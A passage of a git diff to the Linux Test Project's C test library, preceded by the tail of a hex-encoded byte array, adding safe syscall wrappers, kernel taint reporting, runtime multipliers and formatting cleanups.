+"\xe3\xaf\x0f\x41\x94\x0e\x87\x6c\xf1\x21\xab\x31\xaa\x67\x23\x7b\xb6\xd9\xd6\x6e" +"\x35\x9f\x12\x05\x8e\xe4\xb7\xbd\x10\xe2\x3c\x4b\xc9\xe2\x77\x30\x49\x85\xb8\xa9" +"\xf1\xba\x06\x5f\x91\x60\xfd\x1e\xf3\x69\x88\x1f\x00\x5c\x59\x0e\xf8\x32\x11\x16" +"\xd8\x9a\xd8\xce\xdf\xd1\xcf\x34\xe8\x79\x1f\xbc\xa2\x30\x58\x3d\x1c\xf5\x9c\x30" +"\x5e\xea\x36\x97\x35\xd6\x1b\x3d\x0c\x25\xbc\xe9\xc5\xfc\xec\xd4\x86\x04\x13\xb3" +"\x1a\x0a\xd3\x0e\x16\xba\x0b\x36\x48\x99\x72\xe3\xe2\x01\xe5\xc0\x64\xce\x26\x72" +"\xf3\xca\x30\x6b\x6e\xee\xb8\x2c\x76\xd0\x25\xb7\xca\x5d\x97\xfd\xc8\x99\xdf\x51" +"\x5a\xd6\xb5\x0c\x86\xbc\x06\x26\x75\xd2\xff\x6f\x5c\x39\xe7\xe6\x9f\xdc\x87\x27" +"\x07\x48\x5c\x1f\x16\x29\x5b\xe0\x02\x2e\x27\xe8\x33\xae\xc1\x68\x39\x2c\x14\x90" +"\xed\x45\xa7\x33\xce\x6e\x17\x09\x74\x03\x9a\x3f\xd9\xa0\xe4\x9d\xbd\xb4\x7c\x7c" +"\x2a\x55\xc4\xce\x03\x03\x7e\xfb\x23\x63\x31\x1c\xf6\x47\x01\x34\x9c\x91\x74\x8a" +"\xe8\x78\x9c\xe3\x4a\x9e\x6e\x53\x63\x39\x7f\xbb\xb1\x09\xf6\x28\x05\x70\x2e\x46" +"\x24\x98\xd0\xc1\x20\x64\x57\xef\xfd\xb1\x29\xc6\x31\x01\x41\x70\xc7\xf6\xa8\x72" +"\xe6\xbe\xff\xc9\x19\x8d\xb6\xd6\xe0\x69\x40\xbc\x09\x14\x60\x88\x34\x8f\xba\x6c" +"\x6d\x75\xa9\x6a\x5d\x2a\x54\x99\xfa\xe8\xa8\x2a\x1e\x96\xef\x4a\xe9\x8d\xd8\xcb" +"\x34\x0a\xbd\x97\x90\x2a\xde\x50\x05\xdb\x78\x07\x39\x68\x20\xe8\x2d\x7a\x96\xa3" +"\x5c\xec\xa9\x24\x68\xa5\xc6\xf6\xba\xd9\x14\xa0\x83\x8d\xa6\x1d\x79\x78\x39\x94" +"\x62\x72\x38\xee\xc1\x76\xc1\xe0\xdc\xf4\x3c\xc6\x26\xfc\xac\xfb\x73\xc0\x17\x82" +"\x1b\x4b\x4c\xb6\x95\x65\x05\x54\x30\xa0\xca\xb6\x70\xfb\x72\xe6\x11\x9a\x49\xa2" +"\x92\xab\xda\x86\x25\x21\xa1\xce\x72\xf2\x51\xba\x82\x33\x42\x29\x8c\x83\x86\x6a" +"\x27\x54\xfd\xe7\x65\x47\x93\x54\xb6\xe4\x6e\xd2\xe7\xe5\x76\xea\x0c\xb4\xbe\xed" +"\x7d\xbe\x96\xe3\x81\xee\x69\x27\x50\x26\xf2\x5e\xf3\x5c\xcc\xf7\xca\xfd\x07\x92" +"\x08\x04\xd9\xbd\x4b\xab\x85\x63\x4c\x55\x81\xac\x6e\xd5\x7d\x22\x61\xae\x36\x54" +"\xb0\x81\xab\xca\x45\x39\x88\xd1\x28\xae\x19\xff\x08\x45\x3b\x7c\xc0\xb3\x62\xcd" +"\x43\x17\xaf\x72\xe5\x49\x47\x79\x92\x81\x96\x75\x2f\x1a\x76\xc9\x88\x86\xd4\x2b" +"\x06\x21\x0e\x02\x6a\x9f\xcb\x69\x7d\xe6\x5c\x89\xe6\x3e\x01\x89\x6a\x7e\x8e\x8d" +"\x5a\x59\x43\x36\x9c\xe7\x6c\x26\xc1\x60\x23\xd0\x86\xfb\x42\xb2\x56\xd2\xd4\xd6" +"\xc4\x8a\xb6\xc2\x7e\x45\x6c\xe5\x76\xda\x57\xd8\x8b\x76\x2b\xee\x88\x19\xd0\xff" +"\xf3\xaa\x3f\x86\x70\x53\x28\x57\x44\xde\xce\x2f\x88\x60\xf8\xbc\xb2\xbc\xca\xd7" +"\xc1\x65\xbd\x56\x6a\xa0\x63\x69\xcd\x26\xf7\x82\xe5\x43\x59\xb7\x5f\x52\xb1\xa5" +"\x30\xd1\x0d\x07\xc9\xcc\x79\x63\x3f\x00\x97\x28\xdd\x66\xd5\x3f\xe7\x7a\xc9\xe8" +"\xde\x53\x6a\xa6\x63\xb8\xf1\x91\xde\x53\xed\xe6\xb0\x56\xc9\x47\x14\xdb\x54\x1d" +"\x3f\xea\x87\x60\x59\x2c\x6f\x9f\x91\x00\x9e\x9b\x79\x5e\x7c\x3f\x33\x83\xe8\x57" +"\x8f\x8e\xe5\xa7\xc3\x26\x50\xf2\x76\xcd\xbc\x7d\x15\x42\x1f\x7a\x4c\x22\xce\x49" +"\x5b\xb9\xc4\xe1\xb0\xfa\xfa\x9f\x4c\xd7\x99\x19\x6b\xc9\xde\x32\x05\x27\x19\x33" +"\xf9\x47\x49\x2a\xf0\x29\x7d\x98\xb1\xf7\x81\x78\x36\x9a\x9b"; diff --git a/lib/tst_res.c b/lib/tst_res.c index 8d86b48a..e0896eb0 100755 --- a/lib/tst_res.c +++ b/lib/tst_res.c @@ -82,17 +82,26 @@ void *TST_RET_PTR; assert(strlen(buf) > 0); \ } while (0) -#ifndef PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP -# ifdef __ANDROID__ -# define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP \ - PTHREAD_RECURSIVE_MUTEX_INITIALIZER -# else -/* MUSL: http://www.openwall.com/lists/musl/2017/02/20/5 */ -# define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP { {PTHREAD_MUTEX_RECURSIVE} } -# endif +#if !defined(PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP) && defined(__ANDROID__) +#define PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP PTHREAD_RECURSIVE_MUTEX_INITIALIZER #endif +#ifdef PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP static pthread_mutex_t tmutex = PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP; +#else +static pthread_mutex_t tmutex; + +__attribute__((constructor)) +static void init_tmutex(void) +{ + pthread_mutexattr_t mutattr = {0}; + + pthread_mutexattr_init(&mutattr); + pthread_mutexattr_settype(&mutattr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&tmutex, &mutattr); + pthread_mutexattr_destroy(&mutattr); +} +#endif static void check_env(void); static void tst_condense(int tnum, int ttype, const char *tmesg); diff --git a/lib/tst_safe_file_at.c b/lib/tst_safe_file_at.c index ca8ef2f6..257f7029 100755 --- a/lib/tst_safe_file_at.c +++ b/lib/tst_safe_file_at.c @@ -35,13 +35,16 @@ const char *tst_decode_fd(const int fd) int safe_openat(const char *const file, const int lineno, const int dirfd, const char *const path, const int oflags, ...) { - va_list ap; int fd; - mode_t mode; + mode_t mode = 0; - va_start(ap, oflags); - mode = va_arg(ap, int); - va_end(ap); + if (TST_OPEN_NEEDS_MODE(oflags)) { + va_list ap; + + va_start(ap, oflags); + mode = va_arg(ap, int); + va_end(ap); + } fd = openat(dirfd, path, oflags, mode); if (fd > -1) @@ -195,3 +198,43 @@ int safe_unlinkat(const char *const file, const int lineno, return rval; } + +int safe_fchownat(const char *const file, const int lineno, + const int dirfd, const char *const path, uid_t owner, gid_t group, int flags) +{ + int rval; + + rval = fchownat(dirfd, path, owner, group, flags); + + if (rval == -1) { + tst_brk_(file, lineno, TBROK | TERRNO, + "fchownat(%d<%s>, '%s', %d, %d, %d) failed", dirfd, + tst_decode_fd(dirfd), path, owner, group, flags); + } else if (rval) { + tst_brk_(file, lineno, TBROK | TERRNO, + "Invalid fchownat(%d<%s>, '%s', %d, %d, %d) return value %d", + dirfd, tst_decode_fd(dirfd), path, owner, group, flags, rval); + } + + return rval; +} + +int safe_fstatat(const char *const file, const int lineno, + const int dirfd, const char *const path, struct stat *statbuf, int flags) +{ + int rval; + + rval = fstatat(dirfd, path, statbuf, flags); + + if (rval == -1) { + tst_brk_(file, lineno, TBROK | TERRNO, + "fstatat(%d<%s>, '%s', %p, %d) failed", dirfd, + tst_decode_fd(dirfd), path, statbuf, flags); + } else if (rval) { + tst_brk_(file, lineno, TBROK | TERRNO, + "Invalid fstatat(%d<%s>, '%s', %p, %d) return value %d", + dirfd, tst_decode_fd(dirfd), path, statbuf, flags, rval); + } + + return rval; +} diff --git a/lib/tst_safe_io_uring.c b/lib/tst_safe_io_uring.c index f300fd38..de6869f5 100755 --- a/lib/tst_safe_io_uring.c +++ b/lib/tst_safe_io_uring.c @@ -15,6 +15,9 @@ int safe_io_uring_init(const char *file, const int lineno, uring->fd = io_uring_setup(entries, params); if (uring->fd == -1) { + if (errno == EOPNOTSUPP) + tst_brk(TCONF, "CONFIG_IO_URING is not enabled"); + tst_brk_(file, lineno, TBROK | TERRNO, "io_uring_setup() failed"); return uring->fd; diff --git a/lib/tst_safe_macros.c b/lib/tst_safe_macros.c index 36b5da66..c4cdc87e 100755 --- a/lib/tst_safe_macros.c +++ b/lib/tst_safe_macros.c @@ -18,6 +18,26 @@ #include "lapi/setns.h" #include "tst_safe_macros.h" #include "lapi/personality.h" +#include "lapi/pidfd.h" + +int safe_access(const char *file, const int lineno, + const char *pathname, int mode) +{ + int rval; + + rval = access(pathname, mode); + + if (rval == -1) { + tst_brk_(file, lineno, TBROK | TERRNO, + "access(%s,%d) failed", pathname, mode); + } else if (rval) { + tst_brk_(file, lineno, TBROK | TERRNO, + "Invalid access(%s,%d) return value %d", pathname, + mode, rval); + } + + return rval; +} int safe_setpgid(const char *file, const int lineno, pid_t pid, pid_t pgid) { @@ -107,6 +127,25 @@ int safe_personality(const char *filename, unsigned int lineno, return prev_persona; } +int safe_pidfd_open(const char *file, const int lineno, pid_t pid, + unsigned int flags) +{ + int rval; + + rval = pidfd_open(pid, flags); + + if (rval == -1) { + tst_brk_(file, lineno, TBROK | TERRNO, + "pidfd_open(%i, %i) failed", pid, flags); + } else if (rval < 0) { + tst_brk_(file, lineno, TBROK | TERRNO, + "Invalid pidfd_open(%i, %i) return value %d", + pid, flags, rval); + } + + return rval; +} + int safe_setregid(const char *file, const int lineno, gid_t rgid, gid_t egid) { diff --git a/lib/tst_safe_sysv_ipc.c b/lib/tst_safe_sysv_ipc.c index 5eaa8253..a196fc9c 100755 --- a/lib/tst_safe_sysv_ipc.c +++ b/lib/tst_safe_sysv_ipc.c @@ -4,12 +4,12 @@ */ #include -#include #include #include #define TST_NO_DEFAULT_MAIN #include "tst_test.h" #include "tst_safe_sysv_ipc.h" +#include "lapi/ipc.h" #include "lapi/sem.h" /* @@ -232,13 +232,22 @@ int safe_semctl(const char *file, const int lineno, int semid, int semnum, { int rval; va_list va; - union semun un; + union semun un = {0}; - va_start(va, cmd); - - un = va_arg(va, union semun); - - va_end(va); + switch (cmd) { + case SETVAL: + case GETALL: + case SETALL: + case IPC_STAT: + case IPC_SET: + case SEM_STAT: + case SEM_STAT_ANY: + case IPC_INFO: + case SEM_INFO: + va_start(va, cmd); + un = va_arg(va, union semun); + va_end(va); + } rval = semctl(semid, semnum, cmd, un); diff --git a/lib/tst_status.c b/lib/tst_status.c index 9124faaa..5d03871f 100755 --- a/lib/tst_status.c +++ b/lib/tst_status.c @@ -49,3 +49,23 @@ const char *tst_strstatus(int status) return invalid(status); } + +int tst_validate_children_(const char *file, const int lineno, + unsigned int count) +{ + unsigned int i; + int status; + pid_t pid; + + for (i = 0; i < count; i++) { + pid = SAFE_WAITPID(-1, &status, 0); + + if (!WIFEXITED(status) || WEXITSTATUS(status)) { + tst_res_(file, lineno, TFAIL, "Child %d: %s", pid, + tst_strstatus(status)); + return 1; + } + } + + return 0; +} diff --git a/lib/tst_supported_fs_types.c b/lib/tst_supported_fs_types.c index 23e5ce87..d4911fa3 100755 --- a/lib/tst_supported_fs_types.c +++ b/lib/tst_supported_fs_types.c @@ -14,6 +14,10 @@ #include "tst_test.h" #include "tst_fs.h" +/* + * NOTE: new filesystem should be also added to + * lib/newlib_tests/shell/tst_{all_filesystems_skip,skip_filesystems}.sh + */ static const char *const fs_type_whitelist[] = { "ext2", "ext3", @@ -70,14 +74,11 @@ int tst_fs_in_skiplist(const char *fs_type, const char *const *skiplist) static enum tst_fs_impl has_kernel_support(const char *fs_type) { static int fuse_supported = -1; - const char *tmpdir = getenv("TMPDIR"); + const char *tmpdir = tst_get_tmpdir_root(); char buf[128]; char template[PATH_MAX]; int ret; - if (!tmpdir) - tmpdir = "/tmp"; - snprintf(template, sizeof(template), "%s/mountXXXXXX", tmpdir); if (!mkdtemp(template)) tst_brk(TBROK | TERRNO, "mkdtemp(%s) failed", template); @@ -173,35 +174,3 @@ const char **tst_get_supported_fs_types(const char *const *skiplist) return fs_types; } - -int tst_check_quota_support(const char *device, int format, char *quotafile) -{ - const long ret = quotactl(QCMD(Q_QUOTAON, USRQUOTA), device, format, - quotafile); - - /* Not supported */ - - if (ret == -1 && errno == ESRCH) - return 0; - - /* Broken */ - if (ret) - return -1; - - quotactl(QCMD(Q_QUOTAOFF, USRQUOTA), device, 0, 0); - return 1; -} - -void tst_require_quota_support_(const char *file, const int lineno, - const char *device, int format, char *quotafile) -{ - int status = tst_check_quota_support(device, format, quotafile); - - if (!status) { - tst_brk_(file, lineno, TCONF, - "Kernel or device does not support FS quotas"); - } - - if (status < 0) - tst_brk_(file, lineno, TBROK|TERRNO, "FS quotas are broken"); -} diff --git a/lib/tst_sys_conf.c b/lib/tst_sys_conf.c index 4ad9f8b9..c0981dcb 100755 --- a/lib/tst_sys_conf.c +++ b/lib/tst_sys_conf.c @@ -12,8 +12,23 @@ #include "tst_test.h" #include "tst_sys_conf.h" +struct tst_sys_conf { + char path[PATH_MAX]; + char value[PATH_MAX]; + struct tst_sys_conf *next; +}; + static struct tst_sys_conf *save_restore_data; +static void print_error(const int lineno, int info_only, const char *err, + const char *path) +{ + if (info_only) + tst_res_(__FILE__, lineno, TINFO | TERRNO, err, path); + else + tst_brk_(__FILE__, lineno, TBROK | TERRNO, err, path); +} + void tst_sys_conf_dump(void) { struct tst_sys_conf *i; @@ -22,7 +37,7 @@ void tst_sys_conf_dump(void) tst_res(TINFO, "%s = %s", i->path, i->value); } -int tst_sys_conf_save_str(const char *path, const char *value) +void tst_sys_conf_save_str(const char *path, const char *value) { struct tst_sys_conf *n = SAFE_MALLOC(sizeof(*n)); @@ -34,45 +49,45 @@ int tst_sys_conf_save_str(const char *path, const char *value) n->next = save_restore_data; save_restore_data = n; - - return 0; } -int tst_sys_conf_save(const char *path) +int tst_sys_conf_save(const struct tst_path_val *conf) { char line[PATH_MAX]; + int ttype, iret; FILE *fp; void *ret; - char flag; - if (!path) + if (!conf || !conf->path) tst_brk(TBROK, "path is empty"); - flag = path[0]; - if (flag == '?' || flag == '!') - path++; - - if (access(path, F_OK) != 0) { - switch (flag) { - case '?': - tst_res(TINFO, "Path not found: '%s'", path); - break; - case '!': - tst_brk(TBROK|TERRNO, "Path not found: '%s'", path); - break; - default: - tst_brk(TCONF|TERRNO, "Path not found: '%s'", path); + if (access(conf->path, F_OK) != 0) { + if (conf->flags & TST_SR_SKIP_MISSING) { + tst_res(TINFO | TERRNO, "Path not found: %s", + conf->path); + return 1; } - return 1; + + ttype = (conf->flags & TST_SR_TBROK_MISSING) ? TBROK : TCONF; + tst_brk(ttype | TERRNO, "Path not found: %s", conf->path); } - fp = fopen(path, "r"); - if (fp == NULL) { - if (flag == '?') + if (access(conf->path, W_OK) != 0) { + if (conf->flags & TST_SR_SKIP_RO) { + tst_res(TINFO | TERRNO, "Path is not writable: %s", + conf->path); return 1; + } + + ttype = (conf->flags & TST_SR_TBROK_RO) ? TBROK : TCONF; + tst_brk(ttype | TERRNO, "Path is not writable: %s", conf->path); + } + + fp = fopen(conf->path, "r"); - tst_brk(TBROK | TERRNO, "Failed to open FILE '%s' for reading", - path); + if (fp == NULL) { + print_error(__LINE__, conf->flags & TST_SR_IGNORE_ERR, + "Failed to open '%s' for reading", conf->path); return 1; } @@ -80,14 +95,41 @@ int tst_sys_conf_save(const char *path) fclose(fp); if (ret == NULL) { - if (flag == '?') + if (conf->flags & TST_SR_IGNORE_ERR) return 1; tst_brk(TBROK | TERRNO, "Failed to read anything from '%s'", - path); + conf->path); + } + + tst_sys_conf_save_str(conf->path, line); + + if (!conf->val) + return 0; + + fp = fopen(conf->path, "w"); + + if (fp == NULL) { + print_error(__LINE__, conf->flags & TST_SR_IGNORE_ERR, + "Failed to open '%s' for writing", conf->path); + return 0; } - return tst_sys_conf_save_str(path, line); + iret = fputs(conf->val, fp); + + if (iret < 0) { + print_error(__LINE__, conf->flags & TST_SR_IGNORE_ERR, + "Failed to write into '%s'", conf->path); + } + + iret = fclose(fp); + + if (iret < 0) { + print_error(__LINE__, conf->flags & TST_SR_IGNORE_ERR, + "Failed to close '%s'", conf->path); + } + + return 0; } void tst_sys_conf_restore(int verbose) diff --git a/lib/tst_taint.c b/lib/tst_taint.c index 5015db4d..58b96f6e 100755 --- a/lib/tst_taint.c +++ b/lib/tst_taint.c @@ -14,6 +14,27 @@ static unsigned int taint_mask = -1; +static const char *const taint_strings[] = { + "G (Propriety module loaded)", + "F (Module force loaded)", + "S (Running on out of spec system)", + "R (Module force unloaded)", + "M (Machine check exception)", + "B (Bad page reference)", + "U (User request)", + "D (OOPS/BUG)", + "A (ACPI table overridden)", + "W (Warning)", + "C (Staging driver loaded)", + "I (Workaround BIOS/FW bug)", + "O (Out of tree module loaded)", + "E (Unsigned module loaded)", + "L (Soft lock up occured)", + "K (Live patched)", + "X (Auxilary)", + "T (Built with struct randomization)", +}; + static unsigned int tst_taint_read(void) { unsigned int val; @@ -80,6 +101,7 @@ static int tst_taint_check_kver(unsigned int mask) void tst_taint_init(unsigned int mask) { unsigned int taint = -1; + unsigned long i; if (mask == 0) tst_brk(TBROK, "mask is not allowed to be 0"); @@ -95,8 +117,14 @@ void tst_taint_init(unsigned int mask) taint_mask &= ~TST_TAINT_W; } - if ((taint & taint_mask) != 0) - tst_brk(TBROK, "Kernel is already tainted: %u", taint); + if ((taint & taint_mask) != 0) { + for (i = 0; i < ARRAY_SIZE(taint_strings); i++) { + if (taint & (1 << i)) + tst_res(TINFO, "tainted: %s", taint_strings[i]); + } + + tst_brk(TBROK, "Kernel is already tainted"); + } } diff --git a/lib/tst_test.c b/lib/tst_test.c index 844756fb..0dec00be 100755 --- a/lib/tst_test.c +++ b/lib/tst_test.c @@ -14,6 +14,7 @@ #include #include #include +#include #define TST_NO_DEFAULT_MAIN #include "tst_test.h" @@ -33,6 +34,7 @@ #include "old_resource.h" #include "old_device.h" #include "old_tmpdir.h" +#include "ltp-version.h" /* * Hack to get TCID defined in newlib tests @@ -43,8 +45,11 @@ const char *TCID __attribute__((weak)); #define LINUX_GIT_URL "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=" #define LINUX_STABLE_GIT_URL "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=" #define GLIBC_GIT_URL "https://sourceware.org/git/?p=glibc.git;a=commit;h=" +#define MUSL_GIT_URL "https://git.musl-libc.org/cgit/musl/commit/src/linux/clone.c?id=" #define CVE_DB_URL "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-" +#define DEFAULT_TIMEOUT 30 + struct tst_test *tst_test; static const char *tid; @@ -63,6 +68,7 @@ struct results { int warnings; int broken; unsigned int timeout; + int max_runtime; }; static struct results *results; @@ -90,7 +96,7 @@ static void setup_ipc(void) if (access("/dev/shm", F_OK) == 0) { snprintf(shm_path, sizeof(shm_path), "/dev/shm/ltp_%s_%d", - tid, getpid()); + tid, getpid()); } else { char *tmpdir; @@ -99,7 +105,7 @@ static void setup_ipc(void) tmpdir = tst_get_tmpdir(); snprintf(shm_path, sizeof(shm_path), "%s/ltp_%s_%d", - tmpdir, tid, getpid()); + tmpdir, tid, getpid()); free(tmpdir); } @@ -123,7 +129,7 @@ static void setup_ipc(void) SAFE_CLOSE(ipc_fd); if (tst_test->needs_checkpoints) { - tst_futexes = (char*)results + sizeof(struct results); + tst_futexes = (char *)results + sizeof(struct results); tst_max_futexes = (size - sizeof(struct results))/sizeof(futex_t); } } @@ -139,8 +145,8 @@ static void cleanup_ipc(void) tst_res(TWARN | TERRNO, "unlink(%s) failed", shm_path); if (results) { - msync((void*)results, size, MS_SYNC); - munmap((void*)results, size); + msync((void *)results, size, MS_SYNC); + munmap((void *)results, size); results = NULL; } } @@ -160,7 +166,7 @@ void tst_reinit(void) fd = SAFE_OPEN(path, O_RDWR); results = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); - tst_futexes = (char*)results + sizeof(struct results); + tst_futexes = (char *)results + sizeof(struct results); tst_max_futexes = (size - sizeof(struct results))/sizeof(futex_t); SAFE_CLOSE(fd); @@ -191,7 +197,7 @@ static void update_results(int ttype) } static void print_result(const char *file, const int lineno, int ttype, - const char *fmt, va_list va) + const char *fmt, va_list va) { char buf[1024]; char *str = buf; @@ -282,16 +288,16 @@ static void print_result(const char *file, const int lineno, int ttype, } } -void tst_vres_(const char *file, const int lineno, int ttype, - const char *fmt, va_list va) +void tst_vres_(const char *file, const int lineno, int ttype, const char *fmt, + va_list va) { print_result(file, lineno, ttype, fmt, va); update_results(TTYPE_RESULT(ttype)); } -void tst_vbrk_(const char *file, const int lineno, int ttype, - const char *fmt, va_list va); +void tst_vbrk_(const char *file, const int lineno, int ttype, const char *fmt, + va_list va); static void (*tst_brk_handler)(const char *file, const int lineno, int ttype, const char *fmt, va_list va) = tst_vbrk_; @@ -320,8 +326,8 @@ static void do_test_cleanup(void) tst_brk_handler = tst_vbrk_; } -void tst_vbrk_(const char *file, const int lineno, int ttype, - const char *fmt, va_list va) +void tst_vbrk_(const char *file, const int lineno, int ttype, const char *fmt, + va_list va) { print_result(file, lineno, ttype, fmt, va); update_results(TTYPE_RESULT(ttype)); @@ -332,7 +338,7 @@ void tst_vbrk_(const char *file, const int lineno, int ttype, * specified but CLONE_THREAD is not. Use direct syscall to avoid * cleanup running in the child. */ - if (syscall(SYS_getpid) == main_pid) + if (tst_getpid() == main_pid) do_test_cleanup(); if (getpid() == lib_pid) @@ -342,7 +348,7 @@ void tst_vbrk_(const char *file, const int lineno, int ttype, } void tst_res_(const char *file, const int lineno, int ttype, - const char *fmt, ...) + const char *fmt, ...) { va_list va; @@ -352,7 +358,7 @@ void tst_res_(const char *file, const int lineno, int ttype, } void tst_brk_(const char *file, const int lineno, int ttype, - const char *fmt, ...) + const char *fmt, ...) { va_list va; @@ -375,8 +381,8 @@ static void check_child_status(pid_t pid, int status) int ret; if (WIFSIGNALED(status)) { - tst_brk(TBROK, "Child (%i) killed by signal %s", - pid, tst_strsig(WTERMSIG(status))); + tst_brk(TBROK, "Child (%i) killed by signal %s", pid, + tst_strsig(WTERMSIG(status))); } if (!(WIFEXITED(status))) @@ -436,6 +442,9 @@ pid_t safe_fork(const char *filename, unsigned int lineno) return pid; } +/* too fast creating namespaces => retrying */ +#define TST_CHECK_ENOSPC(x) ((x) >= 0 || !(errno == ENOSPC)) + pid_t safe_clone(const char *file, const int lineno, const struct tst_clone_args *args) { @@ -444,7 +453,7 @@ pid_t safe_clone(const char *file, const int lineno, if (!tst_test->forks_child) tst_brk(TBROK, "test.forks_child must be set!"); - pid = tst_clone(args); + pid = TST_RETRY_FUNC(tst_clone(args), TST_CHECK_ENOSPC); switch (pid) { case -1: @@ -461,6 +470,40 @@ pid_t safe_clone(const char *file, const int lineno, return pid; } +static void parse_mul(float *mul, const char *env_name, float min, float max) +{ + char *str_mul; + int ret; + + if (*mul > 0) + return; + + str_mul = getenv(env_name); + + if (!str_mul) { + *mul = 1; + return; + } + + ret = tst_parse_float(str_mul, mul, min, max); + if (ret) { + tst_brk(TBROK, "Failed to parse %s: %s", + env_name, tst_strerrno(ret)); + } +} + +static int multiply_runtime(int max_runtime) +{ + static float runtime_mul = -1; + + if (max_runtime <= 0) + return max_runtime; + + parse_mul(&runtime_mul, "LTP_RUNTIME_MUL", 0.0099, 100); + + return max_runtime * runtime_mul; +} + static struct option { char *optstr; char *help; @@ -468,12 +511,14 @@ static struct option { {"h", "-h Prints this help"}, {"i:", "-i n Execute test n times"}, {"I:", "-I x Execute test for n seconds"}, + {"V", "-V Prints LTP version"}, {"C:", "-C ARG Run child process with ARG arguments (used internally)"}, }; static void print_help(void) { unsigned int i; + int timeout, runtime; /* see doc/user-guide.txt, which lists also shell API variables */ fprintf(stderr, "Environment Variables\n"); @@ -486,10 +531,32 @@ static void print_help(void) fprintf(stderr, "LTP_DEV_FS_TYPE Filesystem used for testing (default: %s)\n", DEFAULT_FS_TYPE); fprintf(stderr, "LTP_SINGLE_FS_TYPE Testing only - specifies filesystem instead all supported (for .all_filesystems)\n"); fprintf(stderr, "LTP_TIMEOUT_MUL Timeout multiplier (must be a number >=1)\n"); + fprintf(stderr, "LTP_RUNTIME_MUL Runtime multiplier (must be a number >=1)\n"); fprintf(stderr, "LTP_VIRT_OVERRIDE Overrides virtual machine detection (values: \"\"|kvm|microsoft|xen|zvm)\n"); fprintf(stderr, "TMPDIR Base directory for template directory (for .needs_tmpdir, default: %s)\n", TEMPDIR); fprintf(stderr, "\n"); + fprintf(stderr, "Timeout and runtime\n"); + fprintf(stderr, "-------------------\n"); + + if (tst_test->max_runtime) { + runtime = multiply_runtime(tst_test->max_runtime); + + if (runtime == TST_UNLIMITED_RUNTIME) { + fprintf(stderr, "Test iteration runtime is not limited\n"); + } else { + fprintf(stderr, "Test iteration runtime cap %ih %im %is\n", + runtime/3600, (runtime%3600)/60, runtime % 60); + } + } + + timeout = tst_multiply_timeout(DEFAULT_TIMEOUT); + + fprintf(stderr, "Test timeout (not including runtime) %ih %im %is\n", + timeout/3600, (timeout%3600)/60, timeout % 60); + + fprintf(stderr, "\n"); + fprintf(stderr, "Options\n"); fprintf(stderr, "-------\n"); @@ -526,6 +593,8 @@ static void print_test_tags(void) fprintf(stderr, LINUX_STABLE_GIT_URL "%s\n", tags[i].value); else if (!strcmp(tags[i].name, "glibc-git")) fprintf(stderr, GLIBC_GIT_URL "%s\n", tags[i].value); + else if (!strcmp(tags[i].name, "musl-git")) + fprintf(stderr, MUSL_GIT_URL "%s\n", tags[i].value); else fprintf(stderr, "%s: %s\n", tags[i].name, tags[i].value); } @@ -545,7 +614,7 @@ static void check_option_collision(void) for (j = 0; j < ARRAY_SIZE(options); j++) { if (toptions[i].optstr[0] == options[j].optstr[0]) { tst_brk(TBROK, "Option collision '%s'", - options[j].help); + options[j].help); } } } @@ -558,7 +627,8 @@ static unsigned int count_options(void) if (!tst_test->options) return 0; - for (i = 0; tst_test->options[i].optstr; i++); + for (i = 0; tst_test->options[i].optstr; i++) + ; return i; } @@ -614,10 +684,17 @@ static void parse_opts(int argc, char *argv[]) print_test_tags(); exit(0); case 'i': - iterations = atoi(optarg); + iterations = SAFE_STRTOL(optarg, 0, INT_MAX); break; case 'I': - duration = atof(optarg); + if (tst_test->max_runtime > 0) + tst_test->max_runtime = SAFE_STRTOL(optarg, 1, INT_MAX); + else + duration = SAFE_STRTOF(optarg, 0.1, HUGE_VALF); + break; + case 'V': + fprintf(stderr, "LTP version: " LTP_VERSION "\n"); + exit(0); break; case 'C': #ifdef UCLINUX @@ -781,6 +858,7 @@ static void print_failure_hints(void) print_failure_hint("linux-stable-git", "missing stable kernel fixes", LINUX_STABLE_GIT_URL); print_failure_hint("glibc-git", "missing glibc fixes", GLIBC_GIT_URL); + print_failure_hint("musl-git", "missing musl fixes", MUSL_GIT_URL); print_failure_hint("CVE", "vulnerable to CVE(s)", CVE_DB_URL); print_failure_hint("known-fail", "hit by known kernel failures", NULL); } @@ -802,8 +880,10 @@ static void do_exit(int ret) if (results->warnings) ret |= TWARN; - if (results->broken) + if (results->broken) { ret |= TBROK; + print_failure_hints(); + } fprintf(stderr, "\nSummary:\n"); fprintf(stderr, "passed %d\n", results->passed); @@ -824,13 +904,13 @@ void check_kver(void) if (tst_parse_kver(tst_test->min_kver, &v1, &v2, &v3)) { tst_res(TWARN, - "Invalid kernel version %s, expected %%d.%%d.%%d", - tst_test->min_kver); + "Invalid kernel version %s, expected %%d.%%d.%%d", + tst_test->min_kver); } if (tst_kvercmp(v1, v2, v3) < 0) { tst_brk(TCONF, "The test requires kernel %s or newer", - tst_test->min_kver); + tst_test->min_kver); } } @@ -913,9 +993,8 @@ static void assert_test_fn(void) tst_brk(TBROK, "You can define tcnt only for test()"); } -static int prepare_and_mount_ro_fs(const char *dev, - const char *mntpoint, - const char *fs_type) +static int prepare_and_mount_ro_fs(const char *dev, const char *mntpoint, + const char *fs_type) { char buf[PATH_MAX]; @@ -953,6 +1032,36 @@ static void prepare_and_mount_dev_fs(const char *mntpoint) } } +static void prepare_and_mount_hugetlb_fs(void) +{ + SAFE_MOUNT("none", tst_test->mntpoint, "hugetlbfs", 0, NULL); + mntpoint_mounted = 1; +} + +int tst_creat_unlinked(const char *path, int flags) +{ + char template[PATH_MAX]; + int len, c, range; + int fd; + int start[3] = {'0', 'a', 'A'}; + + snprintf(template, PATH_MAX, "%s/ltp_%.3sXXXXXX", + path, tid); + + len = strlen(template) - 1; + while (template[len] == 'X') { + c = rand() % 3; + range = start[c] == '0' ? 10 : 26; + c = start[c] + (rand() % range); + template[len--] = (char)c; + } + + flags |= O_CREAT|O_EXCL|O_RDWR; + fd = SAFE_OPEN(template, flags); + SAFE_UNLINK(template); + return fd; 